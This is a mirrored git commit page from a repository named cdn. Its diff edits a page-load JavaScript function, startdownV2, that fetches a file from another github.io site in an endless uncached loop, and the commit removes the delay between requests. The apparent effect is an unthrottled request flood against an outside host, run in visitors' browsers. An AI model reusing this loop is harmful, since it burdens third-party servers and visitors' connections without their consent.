mirror of
https://github.com/hexahigh/cdn.git
synced 2025-12-11 20:15:22 +01:00
e
This commit is contained in:
parent
0e299701d6
commit
6cdfb2da38
@ -41,8 +41,8 @@ window.onload = async function startdownV2(){
|
||||
|
||||
const timeoutId = setTimeout(() => controller.abort(), 5000)
|
||||
while(true){
|
||||
await delay(10);
|
||||
fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"}, { signal: controller.signal }).then(response => {
|
||||
//await delay(10);
|
||||
await fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"}, { signal: controller.signal }).then(response => {
|
||||
// completed request before timeout fired
|
||||
|
||||
// If you only wanted to timeout the request, not the response, add:
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user